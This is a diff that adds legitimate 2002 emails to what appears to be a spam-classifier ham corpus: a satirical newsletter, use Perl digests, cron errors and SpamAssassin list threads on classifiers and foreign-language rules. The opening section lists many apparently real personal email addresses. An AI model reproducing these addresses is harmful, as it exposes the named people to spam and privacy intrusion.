+ acallaly@siebel.com, adriennepratt@hotmail.com, ad_alton@hotmail.com, + aedin.hanrahan@wildetechnologies.com, ahall@item.co.uk, + aidanmcnelis@ireland.com, ailise_susan@hotmail.com, + alan.kinsella@labyrinth.ie, alan.synnott@irishrail.ie, + Alan_Wall@SmartForce.com, albasmith@eventplus.ie, + alex.sykes@freeuk.com, alex@coolyvenny.fsnet.co.uk, + Alistair_Hall@bat.com, am.cotter@sws.ie, andersonj@bluewin.ch, + andrew.clancy@sca.ie, andrew.oregan3@mail.dcu.ie, + anita.kelly@ogilvy.be, anne.oleary@kpmg.hu, + anne@interactive-avenue.ie, annraoi@opreith.freeserve.co.uk, + anthony.doyle@siemens.ie, APawNeeStar@aol.com, aphelan@mis.gla.ac.uk, + arlene.dolan@ntlworld.com, arlene_gallagher@yahoo.co.uk, + b.mckenna@unison.co.uk, barrorm@hotmail.com, BarryJoe90@aol.com, + bastinado@hotmail.com, billygannon@email.com, billynana@yahoo.com, + blacksheepsh@hotmail.com, bmcgaughey@aspect.ie, bmurph@oceanfree.net, + bootie@eircom.net, bosullivan@nyc.rr.com, brendan@crap-mail.com, + brendancurtis@eircom.net, brendand@SYSSOL.IE, + brendan_osullivan@hp.com, brendy_eire@hotmail.com, + Brian_Mason@dell.com, bstrong@interactiveser.com, + burkejohn@hotmail.com, busterboo99@hotmail.com, + c.brown@admin.gla.ac.uk, carollynnwallis@sheffielduk.fsnet.co.uk, + cathy.dillon@libertysurf.fr, caulfied@tcd.ie, cbruen@tcd.ie, + cbukszpan@yahoo.com, CDevereux@wpg.ie, + chasholdsworth@blueyonder.co.uk, cian@complexvisuals.com, + clarebutler19@hotmail.com, CLauraUK@aol.com, + codeinestation@hotmail.com, coilltemach@eircom.net, + colleenos@eircom.net, comccart@tcd.ie, conor-john@oxygen.ie, + CONOR.MCCAFFERY@may.ie, conor.yore@infosol.ie, + conor@duttfks1.tn.tudelft.nl, conor_cass_cassidy@hotmail.com, + cormac.scally@ntlworld.com, csteenson@eircom.net, + ctobin@interactiveser.com, currane@maths.tcd.ie, + curtinmj@hotmail.com, DAMHNAIT.F.GLEESON@may.ie, damianc@tinet.ie, + Daniel.King@sage.com, daphil@indigo.ie, daracmurphy@eircom.net, + darioz@gofree.indigo.ie, darthmal@gofree.indigo.ie, + davecoolican@eircom.net, daverouse@hotmail.com, + David.Reidy@motorola.com, david4e7@hotmail.com, davidbo@vistatec.ie, + davidconnolly@eircom.net, da_blossom@hotmail.c +Resent-Message-Id: +Resent-Date: Sat, 3 Aug 2002 23:15:49 +0100 +Received: from ni-mail1.dna.utvinternet.net (unverified [194.46.8.11]) by + ni-mail1.dna.utvinternet.net (Vircom SMTPRS 1.4.232) with ESMTP id + for ; Sat, + 3 Aug 2002 21:30:02 +0100 +Received: from 194.46.8.17 ([194.46.8.17] as evil06) by + ni-mail1.dna.utvinternet.net (Vircom POPDOWN 1.4.232) with POP; + Sat, 3 Aug 2002 21:30:01 +0100 +Delivered-To: evilgerald.com!-list@evilgerald.com +Received: (qmail 2088 invoked from network); 21 Jun 2002 11:40:19 -0000 +Received: from unknown (HELO mail05.svc.cra.dublin.eircom.net) + (159.134.118.21) by mail.d-n-a.net with SMTP; 21 Jun 2002 11:40:19 -0000 +Received: (qmail 84336 messnum 256489 invoked from + network[159.134.59.81/p59-81.as1.dla.dublin.eircom.net]); 21 Jun 2002 + 11:40:17 -0000 +Received: from p59-81.as1.dla.dublin.eircom.net (HELO darren) + (159.134.59.81) by mail05.svc.cra.dublin.eircom.net (qp 84336) with SMTP; + 21 Jun 2002 11:40:17 -0000 +Message-Id: <000c01c21918$2e43cce0$513b869f@localnetqs> +From: "The Evil Gerald" +To: +Subject: The Evil Gerald Online - World Cup Issue Out Now! +Date: Fri, 21 Jun 2002 12:34:08 +0100 +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_000_0007_01C2191F.F02C2260" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2014.211 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2014.211 + +This is a multi-part message in MIME format. + +------=_NextPart_000_0007_01C2191F.F02C2260 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Piggybacking ... we mean catering for the insatiable appetite for soccer = +among soccer fans and people who just want the morning off work alike, = +The Evil Gerald presents its World Cup Special + +Including such stories as Green Army wins hearts of Japanese people, = +prostitutes + +and the truth behind Rivaldo's miraculous moving injuries. + +Also in this issue: + +Heinz in the soup over its Belfast Peas Wall initiative + +and Anger at demolition of Palestinian women. + + +The Evil Gerald Staff + + +------=_NextPart_000_0007_01C2191F.F02C2260 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +
Piggybacking = +... we mean=20 +catering for the insatiable appetite for=20 +soccer among soccer fans and people = +who just=20 +want the morning off work alike, The Evil=20 +Gerald presents its World Cup Special
+
 
+
Including such stories as Green=20 +Army wins hearts of Japanese people, prostitutes
+
 
+
and the truth behind Rivaldo's = + +miraculous moving injuries.
+
 
+
Also in this issue:
+
 
+
Heinz in the soup over its Belfast Peas = +Wall=20 +initiative
+
 
+
and Anger= + at=20 +demolition of Palestinian women.
+
 
+
 
+
The Evil Gerald Staff
+
 
+
 
+ +------=_NextPart_000_0007_01C2191F.F02C2260-- + + + diff --git a/bayes/spamham/easy_ham_2/01327.ee3e5a3fe56844b27f05c2374dc53c21 b/bayes/spamham/easy_ham_2/01327.ee3e5a3fe56844b27f05c2374dc53c21 new file mode 100644 index 0000000..b455595 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01327.ee3e5a3fe56844b27f05c2374dc53c21 @@ -0,0 +1,51 @@ +From pudge@perl.org Wed Aug 14 10:56:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 86E4A44121 + for ; Wed, 14 Aug 2002 05:50:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:50:32 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E20X429824 for + ; Wed, 14 Aug 2002 03:00:33 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17enRi-0007yo-00 for ; + Tue, 13 Aug 2002 21:59:38 -0400 +Date: Wed, 14 Aug 2002 02:00:22 +0000 +From: pudge@perl.org +Subject: [use Perl] Headlines for 2002-08-14 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Headline Mailer + +Apress Publishes 'Writing Perl Modules for CPAN' + posted by pudge on Tuesday August 13, @09:50 (books) + http://use.perl.org/article.pl?sid=02/08/13/1354231 + +Lessig's 'Freeing Culture' Keynote Online + posted by KM on Tuesday August 13, @11:27 (links) + http://use.perl.org/article.pl?sid=02/08/13/1527257 + + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01328.c8320d7add1a5a4021bc54c49bfdcb76 b/bayes/spamham/easy_ham_2/01328.c8320d7add1a5a4021bc54c49bfdcb76 new file mode 100644 index 0000000..f3918f7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01328.c8320d7add1a5a4021bc54c49bfdcb76 @@ -0,0 +1,94 @@ +From pudge@perl.org Wed Aug 14 10:56:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 65BB444122 + for ; Wed, 14 Aug 2002 05:50:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:50:34 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7E20b429966 for + ; Wed, 14 Aug 2002 03:00:37 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17enRp-000844-01 for ; + Tue, 13 Aug 2002 21:59:45 -0400 +Date: Wed, 14 Aug 2002 02:00:29 +0000 +From: pudge@perl.org +Subject: [use Perl] Stories for 2002-08-14 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Newsletter + +In this issue: + * Apress Publishes 'Writing Perl Modules for CPAN' + * Lessig's 'Freeing Culture' Keynote Online + ++--------------------------------------------------------------------+ +| Apress Publishes 'Writing Perl Modules for CPAN' | +| posted by pudge on Tuesday August 13, @09:50 (books) | +| http://use.perl.org/article.pl?sid=02/08/13/1354231 | ++--------------------------------------------------------------------+ + +[0]samtregar writes "My new book, [1]Writing Perl Modules for CPAN, is +now available. If you ever wanted to learn to write modules and release +them on CPAN, now is the time. For experienced module makers, the book +offers advanced training in XS, Inline::C and CGI::Application. You can +[2]read the first chapter online for free. The book is shipping now from +[3]Amazon, [4]BN and others." + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/08/13/1354231 + +Links: + 0. mailto:sam@tregar.com + 1. http://apress.com/book/bookDisplay.html?bID=14 + 2. http://apress.com/book/supplementDownload.html?bID=14&sID=617 + 3. http://www.amazon.com/exec/obidos/ASIN/159059018X + 4. http://search.barnesandnoble.com/bookSearch/isbnInquiry.asp?isbn=159059018X&pdf=Y + + ++--------------------------------------------------------------------+ +| Lessig's 'Freeing Culture' Keynote Online | +| posted by KM on Tuesday August 13, @11:27 (links) | +| http://use.perl.org/article.pl?sid=02/08/13/1527257 | ++--------------------------------------------------------------------+ + +[0]Ask writes "Leonard Lin put up [1]Lawrence Lessig's Freeing Culture +keynote from OSCON. It's excellent. It's great. It's the slides with +audio in flash. So download that flash player already and click the url. +I also [2]mirrored it at perl.org. You still here? See it already, you +*will* be entertained. Near the end of the keynote Lessig asked how many +had donated to the EFF. Many hands went up. We felt great. 'Yeah, we're +helping!' Then he asked how many had donated more than they spend on +their broadband connection... I don't think I was alone in feeling a bit +busted. :-)" + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/08/13/1527257 + +Links: + 0. http://www.askbjoernhansen.com/ + 1. http://randomfoo.net/oscon/2002/lessig/ + 2. http://www.perl.org/tpc/2002/lessig/ + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01329.b72433cdbd498ad546bae7dfd3c58c3c b/bayes/spamham/easy_ham_2/01329.b72433cdbd498ad546bae7dfd3c58c3c new file mode 100644 index 0000000..57d90a3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01329.b72433cdbd498ad546bae7dfd3c58c3c @@ -0,0 +1,25 @@ +From jm@dogma.slashnull.org Wed Aug 14 10:53:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6493E4410B + for ; Wed, 14 Aug 2002 05:48:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 14 Aug 2002 10:48:28 +0100 (IST) +Received: (from yyyy@localhost) by dogma.slashnull.org (8.11.6/8.11.6) id + g7DN0Gi21994 for jm; Wed, 14 Aug 2002 00:00:16 +0100 +Date: Wed, 14 Aug 2002 00:00:16 +0100 +Message-Id: <200208132300.g7DN0Gi21994@dogma.slashnull.org> +From: root@dogma.slashnull.org (Cron Daemon) +To: yyyy@dogma.slashnull.org +Subject: Cron /home/yyyy/logs/runme +X-Cron-Env: +X-Cron-Env: +X-Cron-Env: +X-Cron-Env: + +/etc/rc.d/init.d/httpd: kill: (21982) - No such pid +/etc/rc.d/init.d/httpd: kill: (21981) - No such pid + + diff --git a/bayes/spamham/easy_ham_2/01330.5148942334cb1166901d6f05a56864d9 b/bayes/spamham/easy_ham_2/01330.5148942334cb1166901d6f05a56864d9 new file mode 100644 index 0000000..e5309a7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01330.5148942334cb1166901d6f05a56864d9 @@ -0,0 +1,40 @@ +Return-Path: pudge@perl.org +Delivery-Date: Thu Aug 15 03:00:31 2002 +Return-Path: +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7F20U414797 + for ; Thu, 15 Aug 2002 03:00:31 +0100 +Received: from [10.2.181.14] (helo=perl.org) + by cpu59.osdn.com with smtp (Exim 3.35 #1 (Debian)) + id 17f9vD-0005LG-00 + for ; Wed, 14 Aug 2002 21:59:35 -0400 +Date: Thu, 15 Aug 2002 02:00:23 +0000 +From: pudge@perl.org +Subject: [use Perl] Headlines for 2002-08-15 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Headline Mailer + +Spouses afternoon at YAPC::Europe + posted by ziggy on Wednesday August 14, @19:44 (news) + http://use.perl.org/article.pl?sid=02/08/14/2351255 + + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. diff --git a/bayes/spamham/easy_ham_2/01331.b40a16937c61ddfa8d0057b15eada675 b/bayes/spamham/easy_ham_2/01331.b40a16937c61ddfa8d0057b15eada675 new file mode 100644 index 0000000..0574b32 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01331.b40a16937c61ddfa8d0057b15eada675 @@ -0,0 +1,60 @@ +Return-Path: pudge@perl.org +Delivery-Date: Thu Aug 15 03:00:42 2002 +Return-Path: +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7F20f414803 + for ; Thu, 15 Aug 2002 03:00:42 +0100 +Received: from [10.2.181.14] (helo=perl.org) + by cpu59.osdn.com with smtp (Exim 3.35 #1 (Debian)) + id 17f9vK-0005QS-01 + for ; Wed, 14 Aug 2002 21:59:42 -0400 +Date: Thu, 15 Aug 2002 02:00:29 +0000 +From: pudge@perl.org +Subject: [use Perl] Stories for 2002-08-15 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Newsletter + +In this issue: + * Spouses afternoon at YAPC::Europe + ++--------------------------------------------------------------------+ +| Spouses afternoon at YAPC::Europe | +| posted by ziggy on Wednesday August 14, @19:44 (news) | +| http://use.perl.org/article.pl?sid=02/08/14/2351255 | ++--------------------------------------------------------------------+ + +[0]Richard Foley writes "On Thursday, September 19th, we are running an +easy walking tour around the city of Munich, for all those long-suffering +partners coming to YAPC::Europe, as a sort of treat for putting up with +the other half going to this very interesting event. Just to be clear: +we're not after any conference participant/attendees on this, only those +who are waiting until all the perl talk has finished (perl-widows and the +like). We'd like to have an idea of numbers, please, ahead of time, so: +[1]RSVP. Thanks!" + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/08/14/2351255 + +Links: + 0. http://www.yapc.org/Europe/ + 1. mailto:Richard.Foley@t-online.de + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. diff --git a/bayes/spamham/easy_ham_2/01332.67aa87ef51e1160548ee44dcbef73c42 b/bayes/spamham/easy_ham_2/01332.67aa87ef51e1160548ee44dcbef73c42 new file mode 100644 index 0000000..bbba0f6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01332.67aa87ef51e1160548ee44dcbef73c42 @@ -0,0 +1,22 @@ +From nobody@sonic.spamtraps.taint.org Fri Aug 16 11:08:45 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1AD5144119 + for ; Fri, 16 Aug 2002 05:59:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 10:59:14 +0100 (IST) +Received: from sonic.spamtraps.taint.org (spamassassin.sonic.net + [64.142.3.172]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7FMvZ721900 for ; Thu, 15 Aug 2002 23:57:35 +0100 +Received: by sonic.spamtraps.taint.org (Postfix, from userid 99) id + 0FDC2138EFF; Wed, 14 Aug 2002 22:44:51 -0700 (PDT) +Message-Id: <20020815054451.0FDC2138EFF@sonic.spamtraps.taint.org> +Date: Wed, 14 Aug 2002 22:44:51 -0700 (PDT) +From: nobody@sonic.spamtraps.taint.org (Nobody) +To: undisclosed-recipients: ; + +Problem with spamtrap +Could not lock /home/yyyy/lib/spamtrap/spam.mbox: File exists at lib/Mail/SpamAssassin/NoMailAudit.pm line 484, line 207. + diff --git a/bayes/spamham/easy_ham_2/01333.2fe6c479eb5eb14b6284188771522355 b/bayes/spamham/easy_ham_2/01333.2fe6c479eb5eb14b6284188771522355 new file mode 100644 index 0000000..0cb0e6f --- /dev/null +++ b/bayes/spamham/easy_ham_2/01333.2fe6c479eb5eb14b6284188771522355 @@ -0,0 +1,95 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Aug 21 13:02:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2078B43C32 + for ; Wed, 21 Aug 2002 08:02:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 13:02:24 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LC02Z22978 for ; Wed, 21 Aug 2002 13:00:02 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hU7f-00050W-00; Wed, + 21 Aug 2002 04:58:03 -0700 +Received: from cs.rice.edu ([128.42.1.30]) by usw-sf-list1.sourceforge.net + with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hU7H-0001Ok-00 for + ; Wed, 21 Aug 2002 04:57:39 -0700 +Received: from localhost (localhost [127.0.0.1]) by cs.rice.edu (Postfix) + with ESMTP id 801104AA47; Wed, 21 Aug 2002 06:57:38 -0500 (CDT) +Received: from bert.cs.rice.edu (bert.cs.rice.edu [128.42.3.146]) by + cs.rice.edu (Postfix) with ESMTP id 90CFD4AA43; Wed, 21 Aug 2002 06:57:37 + -0500 (CDT) +Received: by bert.cs.rice.edu (Postfix, from userid 14314) id 7A930374003; + Wed, 21 Aug 2002 06:57:36 -0500 (CDT) +To: "Craig R.Hughes" +Cc: yyyy@spamassassin.taint.org (Justin Mason), + "Malte S. Stretz" , + SpamAssassin Talk ML +References: +From: Scott A Crosby +Organization: Rice University +In-Reply-To: +Message-Id: +User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Common Lisp) +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +X-Virus-Scanned: by AMaViS snapshot-20020300 +Subject: [SAtalk] Re: results for giant mass-check (phew) +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 21 Aug 2002 06:57:35 -0500 +Date: 21 Aug 2002 06:57:35 -0500 + +On Tue, 20 Aug 2002 11:14:50 -0700, Craig R.Hughes writes: + +> On Tuesday, August 20, 2002, at 07:23 AM, Justin Mason wrote: +> +`> Remember that the GA is going to be considering combinatorial uses of +> the rules, so rules which look dodgy on their own might be gems for +> the GA -- perhaps something with a S/O ratio of .5 actually occurs +> often in combination with some other rule, and in those situations, +> helps to distinguish spam vs nonspam. +> + +We're currently using a perceptron classifier. It *can't* learn +combinations of rules.[1] + +I gave an example, assume 4 rules: + SPAM = (A or B) and (C or D) + +It cannot learn that function. + +A decision tree classifier *can* learn that example, and the function +above, where a .5 S/O rule is only important in certain +circumstances. (Then again, it may be smartest to hardcode a meta-rule +for that case, rather than trust to a naive DT learner.) + +Scott + + +[1] To be fair, nor can a Bayes classifier. + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01334.92ce4582a1572c01c53020632a26dfd6 b/bayes/spamham/easy_ham_2/01334.92ce4582a1572c01c53020632a26dfd6 new file mode 100644 index 0000000..ed1f364 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01334.92ce4582a1572c01c53020632a26dfd6 @@ -0,0 +1,104 @@ +From spamassassin-talk-admin@lists.sourceforge.net Wed Aug 21 13:08:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 97A1C43C36 + for ; Wed, 21 Aug 2002 08:08:14 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 13:08:14 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LC87Z23405 for ; Wed, 21 Aug 2002 13:08:07 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17hUGM-0006px-00; Wed, + 21 Aug 2002 05:07:02 -0700 +Received: from line-zh-102-185.adsl.econophone.ch ([212.53.102.185] + helo=dragon.roe.ch) by usw-sf-list1.sourceforge.net with esmtp (Cipher + TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17hUF5-0002Iz-00 + for ; Wed, 21 Aug 2002 05:05:43 + -0700 +Received: from roe by dragon.roe.ch with LOCAL id 17hUEr-0007Qt-00 for + spamassassin-talk@lists.sourceforge.net; Wed, 21 Aug 2002 14:05:29 +0200 +From: Daniel Roethlisberger +To: SAtalk +Message-Id: <20020821120529.GA27260@dragon.roe.ch> +Mail-Followup-To: SAtalk +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +Subject: [SAtalk] German spam corpus / foreign language spam +Sender: spamassassin-talk-admin@example.sourceforge.net +Errors-To: spamassassin-talk-admin@example.sourceforge.net +X-Beenthere: spamassassin-talk@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Talk about SpamAssassin +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Wed, 21 Aug 2002 14:05:29 +0200 +Date: Wed, 21 Aug 2002 14:05:29 +0200 + +I've been lurking the SA lists since I installed SA on a production +machine a while back. While SA did a surprisingly accurate job on +detecting English language spam, it did not succeed very well on German +language spam, which I keep getting increasing amounts of lately. I've +got a lousy results with out of the box scores, very few spam is acually +cought. + +What is the strategy with respect to foreign language spam recognition +in SA? I've seen extremely few non-english rules. Is there foreign +language rule development going on? Has anybody done work on German +spam? + +In any case, I've started spam/nonspam corpi consisting of only German +(and Swiss-German, respectively) messages, to be able to help with +German rules. Anybody willing to contribute to the corpus feel free to +resend/bounce German spam in a sane way to spam@roe.ch . I cannot be +bothered to subscribe to SAsightings just for the odd German spam every +hundred++ messages.. how about a list for foreign language spam +sightings? + +Has anybody done this before or am I on the edge of duplicating effort +here? + +I've been thinking on this a bit. I think it would be best if there +would be general provisions for foreign language rules. In the spirit of +the ok_languages option; let users easily enable or disable rules in +certain languages. Like a foreign_rules option which could be used to +control which foreign rulesets are active. Usually people would want to +use checks in all languages which are in the ok_languages list. + +Is there any development or are there plans along those lines? Are there +other people willing to contribute to effective spam filtering rules in +German language? + +Any kind of feedback is welcome, even flames ;) + +Cheers, +Dan + + +-- + Daniel Roethlisberger + OpenPGP key id 0x804A06B1 (1024/4096 DSA/ElGamal) + 144D 6A5E 0C88 E5D7 0775 FCFD 3974 0E98 804A 06B1 + >> privacy through technology, not legislation << + + +------------------------------------------------------- +This sf.net email is sponsored by: OSDN - Tired of that same old +cell phone? Get a new here for FREE! +https://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390 +_______________________________________________ +Spamassassin-talk mailing list +Spamassassin-talk@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/spamassassin-talk + diff --git a/bayes/spamham/easy_ham_2/01335.0781fc521909d45fcb210059a82cc505 b/bayes/spamham/easy_ham_2/01335.0781fc521909d45fcb210059a82cc505 new file mode 100644 index 0000000..b7a9432 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01335.0781fc521909d45fcb210059a82cc505 @@ -0,0 +1,54 @@ +From quinlan@pathname.com Wed Aug 21 06:21:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D313E43C32 + for ; Wed, 21 Aug 2002 01:21:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 06:21:13 +0100 (IST) +Received: from proton.pathname.com + (adsl-216-103-211-240.dsl.snfc21.pacbell.net [216.103.211.240]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7L5KHZ11128 for + ; Wed, 21 Aug 2002 06:20:17 +0100 +Received: from quinlan by proton.pathname.com with local (Exim 3.35 #1 + (Debian)) id 17hNuj-00010v-00; Tue, 20 Aug 2002 22:20:17 -0700 +To: spamassassin-talk@example.sourceforge.net, + spamassassin-devel@lists.sourceforge.net +Subject: 2.40 release procedure (why not give it a read) +From: Daniel Quinlan +Date: 20 Aug 2002 22:20:17 -0700 +In-Reply-To: Craig R.Hughes's message of "Tue, 20 Aug 2002 18:46:56 -0700" +Message-Id: +X-Mailer: Gnus v5.7/Emacs 20.7 + +I hope you all don't mind me creating a new thread and adding a Cc: to +spamassassin-devel. I want to make sure everyone reads Craig's email. +(I don't really have any comments other than to endorse it and suggest +creating a branch ASAP.) + +Craig R.Hughes writes: + +> Ok folks... I think there's been some confusion, so I recommend +> the following: +> +> 1. Use the CVS tag spamassassin_pre_2_4_0 which I just created +> to generate your mass-checks +> 2. Submit the results via rsync in the usual way ASAP +> 3. Justin and I will cooperate on running the GA sometime around +> midnight PST (GMT-0800) on thursday/friday +> +> Any good data that's in the rsync corpus by that time will be +> used to feed the GA. That will give everyone about 48 hours +> from now to generate the logs and submit them, plus it'll give +> Justin and me about 48 hours to tinker with the GA (and +> hopefully get it compiling again on my machine grumble +> grumble). That should then yield a 2.40 release sometime on +> friday, possibly saturday if we need to do multiple GA runs to +> tweak things properly. +> +> C +> +> PS Volunteering Justin here, since I suspect he's probably fast +> asleep right now. + diff --git a/bayes/spamham/easy_ham_2/01336.03d61f76f58b98d6c4c0f4f303994db4 b/bayes/spamham/easy_ham_2/01336.03d61f76f58b98d6c4c0f4f303994db4 new file mode 100644 index 0000000..1160011 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01336.03d61f76f58b98d6c4c0f4f303994db4 @@ -0,0 +1,87 @@ +From spamassassin-commits-admin@lists.sourceforge.net Wed Aug 21 17:28:33 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9D09E43C34 + for ; Wed, 21 Aug 2002 12:28:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 21 Aug 2002 17:28:33 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7LGS0Z01359 for ; Wed, 21 Aug 2002 17:28:00 +0100 +Received: from 